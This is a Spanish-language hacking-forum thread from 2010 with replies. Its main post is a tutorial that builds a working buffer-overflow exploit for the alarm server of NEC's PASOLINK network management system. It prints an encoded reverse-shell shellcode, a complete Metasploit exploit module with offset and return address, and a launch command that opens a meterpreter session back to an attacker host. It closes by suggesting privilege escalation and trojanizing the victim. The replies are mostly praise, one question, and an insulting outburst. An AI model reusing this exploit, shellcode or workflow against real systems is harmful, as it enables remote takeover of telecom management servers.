elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit  (Leído 13,015 veces)
cggj

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« en: 7 Mayo 2010, 01:55 am »

    Introducción

    En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado.

    Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes http://www.castlerock.com/) el cual de la misma manera en la cual recolecta las alarmas vía SNMP, también poseen mecanismos de entrega, utilizando sencillos sockets, los cuales por difícil que parezca carecen de las mas mínimas recomendaciones de programación segura.

    Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS's o IPS's en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión.

    Herramientas y Objetivos

    Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API's que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:

    • MetaSploit Framework: nos facilitará la generación de la cadena a inyectar en nuestro Exploit final, este posee a su vez las siguientes herramientas que describiré de manera sustancial:
           
           
             - Msfconsole (Consola de Metasploit).
             - Msfgui (Interfaz gráfica de Metasploit).
             - Msfcli (Cliente de Metasploit).
             - Msfweb (Servidor e Interfaz web de Metasploit).
             
    • Msfopcode (Cliente de la base de datos de opcodes de Metasploit)
    • El servidor extraído directamente del PNMS: El cual es el programa vulnerable, disponible desde aquí: wget http://jesusssx.files.wordpress.com/2010/05/serverpnms.jpg (Cambiar la extensión a .exe)
    • OllyDBG: El debugger necesario para conocer el estado del stack y las direcciones de la misma.
    • WinDBG: Un debugger que nos ayudara a conocer el contenido puntual de los registros del sistema.

    Obviamente no contamos con el código fuente del pequeño servidor, sin embargo no es necesario, basta con saber como funciona. El programa se ejecuta de la siguiente manera:


    Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.


    Probando Vulnerabilidades

    Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:

    Con esto enviamos 1024 veces el caracter “b” al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:


    Armando el Exploit

    En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente  en Hexadecimal a “b”. El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).

    http://insecure.org/stf/smashstack.html

    Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:

       
    • EBP (extended base pointer)
    • ESI (extended source index)
    • EDI (extended destination index)
    • ESP (extended stack pointer)
    • EIP (enhanced instruction pointer) Apunta a la  siguiente instrucción a se ejecutada.

    Para ello usaremos OllyDBG con el fin de encontrar el crash a nivel de stack, se vuelve a ejecutar el Servidor y en OllyDBG se attachea el proceso del servidor haciendo clic en file->attach y seleccionamos “ServerPNMS” una vez cargado el programa realizaremos el buffer overflow enviando de nuevo 1024 veces algún caracter (en este caso “b”) y observamos la pila:


    Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:


    Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:

       
    • Mspayload (Generador de PAYLOADS de  Metasploit)
    • Pattern_create (Genera una cadena con cierto  patrón, utilizada para encontrar las direcciones  offset)
    • Pattern_offset (Calcula el offset de una cadena  específica)

    Primeramente generaremos una cadena de 1024 bits para conocer en donde el EIP comienza a ser sobreescrito, pues necesitamos conocer la manera de escribir el EIP de la manera que mas nos convenga, para ello haremos uso de las las herramientas pattern_create.rb y pattern_offset.rb de Metasploit:

    Veamos con WinDBG la dirección del EIP:


    Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:


    Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.


    La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:


    Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser:

    [NOPs][shellcode][return address] total: 524 bytes.

    Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:


    Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar.

    De esta manera obtenemos la siguiente cadena a inyectar:

    Código
    1. */
    2. * windows/shell_reverse_tcp - 504 bytes
    3. * http://www.metasploit.com
    4. * Encoder: x86/shikata_ga_nai
    5. * NOP gen: x86/opty2
    6. * LHOST=192.168.1.77, LPORT=4444, ReverseConnectRetries=5,
    7. * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
    8. */
    9. unsigned char buf[] =
    10. "\x99\xbf\x7c\x43\x73\x47\x7f\x0d\x90\x1c\x25\xb1\xbe\x91\x9b"
    11. "\x2d\x41\x4f\xb5\xb3\x20\xd1\xe0\x7b\x2f\xb6\x75\x39\xd4\x05"
    12. "\x3b\xfd\xba\x37\x40\x66\x10\xe3\x30\xf9\x6b\xd5\x79\x74\x0c"
    13. "\xa8\x89\xe0\x13\xc1\xe2\x04\x98\x9f\xb9\x73\x3f\xb0\x7f\x46"
    14. "\xa9\x7c\x4a\x7b\x3d\x97\x71\x35\xb7\x78\x2c\x75\x19\xe1\x1d"
    15. "\x83\xf9\x7a\x3c\x72\x2c\x35\x97\x4f\xb4\x7d\x37\x0b\xff\xc0"
    16. "\xf8\xa8\x48\x92\x96\x02\xe3\x3d\x25\x24\x99\xb7\x7e\x15\xb2"
    17. "\xb0\x76\x18\xd4\x4a\x70\x27\x91\xfc\x9b\x43\x2f\x3f\xb8\x2d"
    18. "\x93\x67\xba\x84\xfd\xb6\x22\xf5\x40\x42\x14\x47\x4e\x98\x1c"
    19. "\x0d\xb9\xbb\x32\xeb\x0c\x8d\xbf\xa9\x05\xb3\xbe\x34\x4b\x21"
    20. "\xd6\xb5\x77\x04\x46\x9f\x49\x66\xb1\x90\x3a\xd5\x41\x29\xc9"
    21. "\xbf\x92\xd9\xae\x85\xb1\x4f\xda\xc5\xd9\x74\x24\xf4\x5a\x83"
    22. "\xea\xfc\x31\x7a\x0c\x03\x7a\x0c\x70\x2c\x52\x6d\xfd\xcf\xab"
    23. "\x6e\x9d\x46\x4e\x5f\x8f\x3d\x1a\xf2\x1f\x35\x4e\xff\xd4\x1b"
    24. "\x7b\x74\x98\xb3\x8c\x3d\x16\xe2\xa3\xbe\x97\x2a\x6f\x7c\xb6"
    25. "\xd6\x72\x51\x18\xe6\xbc\xa4\x59\x2f\xa0\x47\x0b\xf8\xae\xfa"
    26. "\xbb\x8d\xf3\xc6\xba\x41\x78\x76\xc4\xe4\xbf\x03\x7e\xe6\xef"
    27. "\xbc\xf5\xa0\x17\xb6\x51\x11\x29\x1b\x82\x6d\x60\x10\x70\x05"
    28. "\x73\xf0\x49\xe6\x45\x3c\x05\xd9\x69\xb1\x54\x1d\x4d\x2a\x23"
    29. "\x55\xad\xd7\x33\xae\xcf\x03\xb6\x33\x77\xc7\x60\x90\x89\x04"
    30. "\xf6\x53\x85\xe1\x7d\x3b\x8a\xf4\x52\x37\xb6\x7d\x55\x98\x3e"
    31. "\xc5\x71\x3c\x1a\x9d\x18\x65\xc6\x70\x25\x75\xae\x2d\x83\xfd"
    32. "\x5d\x39\xb5\x5f\x0a\x8e\x8b\x5f\xca\x98\x9c\x2c\xf8\x07\x36"
    33. "\xbb\xb0\xc0\x90\x3c\xb6\xfa\x64\xd2\x49\x05\x94\xfa\x8d\x51"
    34. "\xc4\x94\x24\xda\x8f\x64\xc8\x0f\x1f\x35\x66\xe0\xdf\xe5\xc6"
    35. "\x50\xb7\xef\xc8\x8f\xa7\x0f\x03\xa6\xe0\x98\x6c\x11\xef\x15"
    36. "\x05\x60\xef\xb4\x89\xed\x09\xdc\x21\xb8\x82\x49\xdb\xe1\x58"
    37. "\xeb\x24\x3c\xc8\x88\xb7\xdb\x08\xc6\xab\x73\x5f\x8f\x1a\x8a"
    38. "\x35\x3d\x04\x24\x2b\xbc\xd0\x0f\xef\x1b\x21\x91\xee\xee\x1d"
    39. "\xb5\xe0\x36\x9d\xf1\x54\xe7\xc8\xaf\x02\x41\xa3\x01\xfc\x1b"
    40. "\x18\xc8\x68\xdd\x52\xcb\xee\xe2\xbe\xbd\x0e\x52\x17\xf8\x31"
    41. "\x5b\xff\x0c\x4a\x81\x9f\xf3\x81\x01\xaf\xb9\x8b\x20\x38\x64"
    42. "\x5e\x71\x25\x97\xb5\xb6\x50\x14\x3f\x47\xa7\x04\x4a\x42\xe3"
    43. "\x82\xa7\x3e\x7c\x67\xc7\xed\x7d\xa2";

    Dejaremos 20 lugares para introducir los NOP's y asegurar que nuestro salto sea tomado de manera adecuada. En este momento ya tenemos entonces la información necesaria para ensamblar nuestro exploit:

       
    • Información General para el Payload
    • Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
    • Tamaño total de la cadena: 524 bytes.
    • Caracteres no válidos:  \x00\x20\x0D\x0A
    • Plataforma: Windows
    • Objetivos:  Windows
    • Método Exploit: Reverse Shell TCP

    Pasaremos al ensamblado del exploit, para ello utilizaremos la versión mas actual de este software la cual es  metasploit v3.4.0-dev [core:3.4 api:1.0], haremos uso de la API para desarrollar Exploits, que como sabemos nos facilitará de manera enorme la realización de la cadena final a inyectar. Comenzamos a realizar el script inicial, que desbordará la pila sin especificar los datos importantes tales como el payload y la dirección de retorno, las partes de un exploit en el metasploit son las siguientes:

    • Comentarios
    • Dependencias
    • Definición de las clases
    • Inclusiones
    • Método del Constructor
    • Nombre del exploit.
    • Descripción del exploit.
    • Mas datos sobre el exploit

    Ensamblando el script para el Metasploit y una vez explicadas cada una de los apartados que debe contener, nuestro exploit quedará de la siguiente manera: (En mi caso el script queda en la siguiente ruta: /opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb)

    Código
    1. require 'msf/core'
    2.  #  clase principal                                                                                                                                                
    3.  class Metasploit3 < Msf::Exploit::Remote
    4.    include Msf::Exploit::Remote::Tcp
    5.  
    6.    # informacion de todo el exploit
    7.    def initialize(info = {})
    8.      super(update_info(info,
    9.                        'Name'           => 'exploit PNMS',
    10.                        'Description'    => 'exploit PNMS',
    11.                        'Author'         => 'cggj',
    12.                        'Version'        => '1.0',
    13.                        'Payload'        =>
    14.                        {
    15.                          'Space'    => 504, # espacio que usa el payload.
    16.                          'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode
    17.                          'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode
    18.                        },
    19.                        'Platform'   => 'win',
    20.                        'Targets'    =>
    21.                        [
    22.                         [ 'Windows',
    23.                             {
    24.                               'Platform' =>'win',
    25.                               'Ret' => 0x0022fb64 # direccion de retorno comienza en 0022fb60
    26.                             }
    27.                          ],
    28.                        ],
    29.                        'DefaultTarget' => 0))
    30.    end
    31.    end
    32.  
    33.    def check
    34.      connect
    35.      buf = "version\n"
    36.      sock.put(buf)
    37.      res = sock.get
    38.      disconnect
    39.      if res =~ /bof-server v0.01/
    40.        return Exploit::CheckCode::Vulnerable
    41.      end
    42.      return Exploit::CheckCode::Safe
    43.    end
    44.  
    45.    def exploit
    46.      connect
    47.      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
    48.      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
    49.      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
    50.      sock.put(buf) # Envio de datos
    51.      sock.get
    52.      handler # Transfiere la conexion al handler del Payload
    53.      disconnect #Termina la conexion
    54.    end
    55. end
    56.  

    Básicamente en el método exploit se define la manera en la cual se comenzará el ataque, primero conectamos con la víctima, posteriormente se crea un buffer con nuestro Payload, el cual queda regido por las propiedades definidas en la especificación del mismo. Posteriormente se añaden 20 NOP's (x90) recordemos que el tamaño destinado a nuestro Payload fue de 504 bytes cuando necesitamos de 524 bytes, al final se agrega la dirección de retorno EIP
    Código
    1. [target.ret].pack('V')
    , enviamos los datos y ejecutamos el manejador (handler), para al finalizar desconectar.

    Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos:
    (El comando a ejecutar será:

    Código
    1. msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

    De esta manera especificamos nuestro exploit: PNMS, el Payload a aplicar, el puerto remoto y finalmente nuestros hosts, tanto de la víctima como el del atacante.


    Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite.

    http://jesusssx.wordpress.com
    En línea

    laideker

    Desconectado Desconectado

    Mensajes: 68


    09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0


    Ver Perfil WWW
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #1 en: 7 Mayo 2010, 06:03 am »

    Wow...  :D :D :D... leyendo  ;-) ;-) ;-)
    En línea

    verjo

    Desconectado Desconectado

    Mensajes: 62


    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #2 en: 7 Mayo 2010, 17:16 pm »

    Buena info,aunque no deja de ser uno de los muchos manuales que hay por la red,pero aun asi gracias por la info.

    salu2! ;)
    En línea

    cggj

    Desconectado Desconectado

    Mensajes: 13


    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #3 en: 7 Mayo 2010, 18:40 pm »

    Y esta personita: "verjo" ..... cuales son tus aportes que no vayan mas allá de simples cuestiones y respuestas mediaticas en los temas en donde ilusamente intentas "ayudar"? ¿De donde obtienes esa osadía para intentar denigrar un aporte con tal inferioridad? supongo que la ignorancia arrastra tu ego y los factores exógenos que inundan tu pobre y compasiva percepción te hacen creer que eres un megalomano, sin dejarte ver que esa actitud solo te hace ver como un frustrado ignorante.

    No agradezcas lo que no entiendes, no te humilles con osadia irresponsable porque solo te descubres como un triste carcamán.

    -----------------------------------------------------------------------------------------------------------
    Publicado por: verjo
    Insertar Cita
    Buena info,aunque no deja de ser uno de los muchos manuales que hay por la red,pero aun asi gracias por la info.

    salu2! ;)
    En línea

    rockernault


    Desconectado Desconectado

    Mensajes: 2.046


    Linux User!!!


    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #4 en: 7 Mayo 2010, 19:16 pm »

    No le hagas caso.. asi hay gente en todos lados. .gente que critica lo que haces porque ellos no lo pueden hacer..

    La forma en la que manejas las palabras.. es simplemente  :o 


    Increible manual.. porque simplemente es excelente.. es un programa no muy conocido
     
    Citar
    PASOLINK Network Management System (PNMS) de NEC

    pero eso le da mas interés porque a diferencia de otros, haces tu propio exploit... y exitosamente, te infiltras en la máquina

    saludos
    En línea




    soez

    Desconectado Desconectado

    Mensajes: 76



    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #5 en: 8 Mayo 2010, 19:41 pm »

    Me ha gustado mucho tu tutorial, pero sin animo de ofender por favor me podrias explicar estos tres puntos?

    1. Uso del Windbg
    2. Donde guardas el payload generado?
    3. Donde esta el editor para crear el exploit?

    He intentado pero no he lograo ninguna de las tres. Saludos
    En línea

    01001010 01100001 01110110 01101001 01100101 01110010
    [Zero]
    Wiki

    Desconectado Desconectado

    Mensajes: 1.082


    CALL DWORD PTR DS:[0]


    Ver Perfil WWW
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #6 en: 10 Mayo 2010, 19:26 pm »

    [OFFTOPIC]
    Y esta personita: "verjo" ..... cuales son tus aportes que no vayan mas allá de simples cuestiones y respuestas mediaticas en los temas en donde ilusamente intentas "ayudar"? ¿De donde obtienes esa osadía para intentar denigrar un aporte con tal inferioridad? supongo que la ignorancia arrastra tu ego y los factores exógenos que inundan tu pobre y compasiva percepción te hacen creer que eres un megalomano, sin dejarte ver que esa actitud solo te hace ver como un frustrado ignorante.

    No agradezcas lo que no entiendes, no te humilles con osadia irresponsable porque solo te descubres como un triste carcamán.


    Joder, eso si es hablar  ;-):

    Código:
    http://es.wikipedia.org/wiki/Megaloman%C3%ADa
    Código:
    http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=ex%F3geno



    Con referente al artículo, me gustó mucho, no conocía las funcionalidades de metasploit, y parece que simplifican bastante el trabajo  :P.

    Saludos
    En línea


    “El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
    Nietzsche
    cggj

    Desconectado Desconectado

    Mensajes: 13


    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #7 en: 10 Mayo 2010, 23:35 pm »

    Hola, por supuesto que no es ninguna ofensa:

    1.- Windbg es un debugger que puedes descargar desde aqui:
    http://www.microsoft.com/whdc/devtools/debugging/default.mspx
    Las herramientas de debugging de Windows básicamente poseen los siguienes componentes:

    KD.exe – Eel cual es un debugger a nivel de kernel (existen debuggers a nivel de kernel y usuario).
    CDB.exe – Es la línea de comandos de WinDBG
    NTSD – Es el NT debugger. Sirve para debuggear aplicaciones a nivel usuario.
    Windbg – Es la interfaz gráfica que integra los componentes anteriores.

    En este artículo lo que hacemos es attachear el proceso del socket al debugger para ver el stack en tiempo de ejecución y utilizamos los comandos dd y run (g) para darle continuidad al programa mientras examinamos el contenido de la pila en direcciones específicas. Aqui un sencillo tutorial:

    http://debuggingblog.com/wp/2008/10/31/beginner-guide-to-windbg-part-1/

    2.- El Payload no se guarda en ningún lugar, lo invocamos según las propiedades descritas en el método "exploit":

       
    Código
    1. def exploit
    2.      connect
    3.      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
    4.      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
    5.      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
    6.      sock.put(buf) # Envio de datos
    7.      sock.get
    8.      handler # Transfiere la conexion al handler del Payload
    9.      disconnect #Termina la conexion
    10.    end
    11.  

    3.- Para editar tu exploit final puedes utilizar el editor que quieras :) el lugar donde lo colocas es sensible para que el metasploit pueda verlo, los exploits se colocan bajo:

    /opt/metasploit3/msf3/modules/exploits

    Por lo tanto para este caso el exploit se encuentra bajo:

    /opt/metasploit3/msf3/modules/exploits/windows/misc/

    y se llama PNMS.rb, cuando se hace referencia hacia él, se realiza la referencia sin la extensión:

    msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

    y como te digo puedes utilizar cualquier editor poniendole la extensión *.rb y colocandolo bajo la parte que le corresponda.

    Saludos !!

    Me ha gustado mucho tu tutorial, pero sin animo de ofender por favor me podrias explicar estos tres puntos?

    1. Uso del Windbg
    2. Donde guardas el payload generado?
    3. Donde esta el editor para crear el exploit?

    He intentado pero no he lograo ninguna de las tres. Saludos
    En línea

    [L]ord [R]NA


    Desconectado Desconectado

    Mensajes: 1.513

    El Dictador y Verdugo de H-Sec


    Ver Perfil WWW
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #8 en: 13 Mayo 2010, 01:33 am »

    Muy buen tuto... felicitaciones. Es bueno ver personas nuevas haciendo buenos aportes.
    En línea

    ID_LOKO7

    Desconectado Desconectado

    Mensajes: 4



    Ver Perfil
    Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
    « Respuesta #9 en: 25 Junio 2010, 07:43 am »

    Awesome!!!  ::)

    El tutorial te quedo muy bien Cggj, se ve que tienes los conocimientos y el espíritu de un hacker...

    Todo quedo bien detallado y las escrituras de una forma profesional, como suelen escribir los hackers de la red, en dado caso que quieras mejorarlo podrías pasarlo a un PDF y añadirle copyright.

    El depurador OllyDBG es muy usado en este campo de la seguridad informática, especialmente cuando son vulnerabilidades a nivel de memoria, más que todo las que están relacionadas con los desbordamientos de memoria, los ataques de formato de cadena y los desbordamientos de montículo. Esta herramienta junto con un Fuzzer de BoF, como por ejemplo el famoso Bed que esta programado en perl, es muy efectiva cuando se trata de encontrar vulnerabilidades a nivel de memoria, uno ve en el depurador como se sobrescriben los registros (EIP, EBP...) y al mismo tiempo esta al tanto de los bytes que se le van incluyendo automáticamente mediante el Fuzzer.

    Sigue así y pronto te veremos en lugares como Security-Focus y Offensive-Security (exploit-db), en donde los informáticos encuentran vulnerabilidades y postean sus exploits...

    Saludos y felicidades por el tutorial.  ;-)  ;-)  ;-)
    « Última modificación: 25 Junio 2010, 07:46 am por ID_LOKO7 » En línea

    Don't Feed the Trolls
    Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

    Ir a:  

    Mensajes similares
    Asunto Iniciado por Respuestas Vistas Último mensaje
    pregunta sobr metasploit y caducidad de exploits...
    Bugs y Exploits
    rulovive 5 5,077 Último mensaje 4 Junio 2011, 02:16 am
    por rulovive
    programacion de exploits con Metasploit
    Bugs y Exploits
    cristoldo 2 5,119 Último mensaje 13 Julio 2011, 13:38 pm
    por Debci
    [Metasploit] Exploits de windows 7
    Hacking
    moikano→@ 7 24,490 Último mensaje 21 Septiembre 2011, 20:15 pm
    por moikano→@
    BD para Metasploit
    Hacking
    jonny76 4 4,427 Último mensaje 7 Abril 2012, 16:36 pm
    por miguelskk
    metasploit no me permite agregar exploits
    Bugs y Exploits
    Biohazard_Load 0 3,804 Último mensaje 24 Marzo 2020, 10:36 am
    por Biohazard_Load
    WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines